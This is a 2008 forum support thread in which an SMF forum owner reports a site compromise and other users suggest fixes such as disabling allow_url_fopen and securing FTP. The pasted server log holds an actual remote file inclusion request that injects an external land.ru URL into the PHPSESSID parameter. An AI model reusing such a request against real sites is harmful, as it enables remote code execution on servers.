TinyPortal

Development => Support => Topic started by: JCphotog on February 21, 2008, 04:40:31 AM

Title: Server exploit..
Post by: JCphotog on February 21, 2008, 04:40:31 AM
Hi all.  I'm running SMF 1.1.4 and received a notice from my host that my site has been exploited.  I have no other details at the moment, I was curious if you guys have run into anything lately? 
Title: Re: Server exploit..
Post by: ApplianceJunk on February 21, 2008, 04:56:44 AM
No other details, how nice of them.
Are you sure the email was from your host?

Title: Re: Server exploit..
Post by: JCphotog on February 21, 2008, 05:42:13 AM
I pretty sure.  I since I logged into to read a "support" thread created by my host.  I replied there.  God..  I hope it wasn't a fishing scam.  But I really don't think it was since the host had a support thread about it...

There I found some details.  File injection...

We have been forced to disable a file on your account as it has been exploited and file injected:

(I deleted my site's info...)

3785
CONTENT_TYPE=text/html
DOCUMENT_ROOT=/home/public_html/
GATEWAY_INTERFACE=CGI/1.1
HTTP_ACCEPT=text/html, */*
HTTP_CONNECTION=keep-alive
HTTP_HOST=
HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322)
PATH=/bin:/usr/bin
QUERY_STRING=PHPSESSID=http://zomsisueoeriyjskwkdejsrfeyare.land.ru/.html/body?
REDIRECT_STATUS=200
REMOTE_ADDR=216.183.148.230
REMOTE_PORT=16029
REQUEST_METHOD=GET
REQUEST_URI=/forum/index.php?PHPSESSID=http://zomsisueoeriyjskwkdejsrfeyare.land.ru/.html/body?
SCRIPT_FILENAME=/home/public_html/forum/index.php
SCRIPT_NAME=/forum/index.php
SERVER_ADDR=
SERVER_ADMIN=webmaster@--
SERVER_NAME=
SERVER_PORT=80
SERVER_PROTOCOL=HTTP/1.1
SERVER_SIGNATURE=<ADDRESS>Apache/1.3.39 Server at ------ Port 80</ADDRESS>


argh..
Title: Re: Server exploit..
Post by: Ken. on February 21, 2008, 01:08:28 PM
You should post this on SMF, they have a system in place for reporting hacks and exploit's.
Title: Re: Server exploit..
Post by: JCphotog on February 21, 2008, 09:07:05 PM
Good point.  I'll have to do that tonight!!
Title: Re: Server exploit..
Post by: lebisol on February 22, 2008, 09:03:09 PM
filescripts = access to root folder...
maybe you should asked them to check their FTP server or reset your ftp account. seems like they gained access to folder...which indicates compromised account or server.
check the rights to "public_html"/root...chmoding carelessly will cause this as well...

FTP is insecure by nature and passwords/accounts are sent in CLEAR text...if you are using any wireless that connection has to be encripted...or your neighboor or guys next to you in coffeeshop can sniff out your account.
Good luck!
Title: Re: Server exploit..
Post by: IchBin on February 22, 2008, 09:07:31 PM
If they are blaming you for an insecure script because they allow remote file includes to be done, tell them to get a clue and to turn off allow_url_fopen for PHP. Morons.....
Title: Re: Server exploit..
Post by: JCphotog on February 24, 2008, 08:11:23 AM
Thanks so much for your info.  I'll pass on your suggestions.  I really appreciate the attention!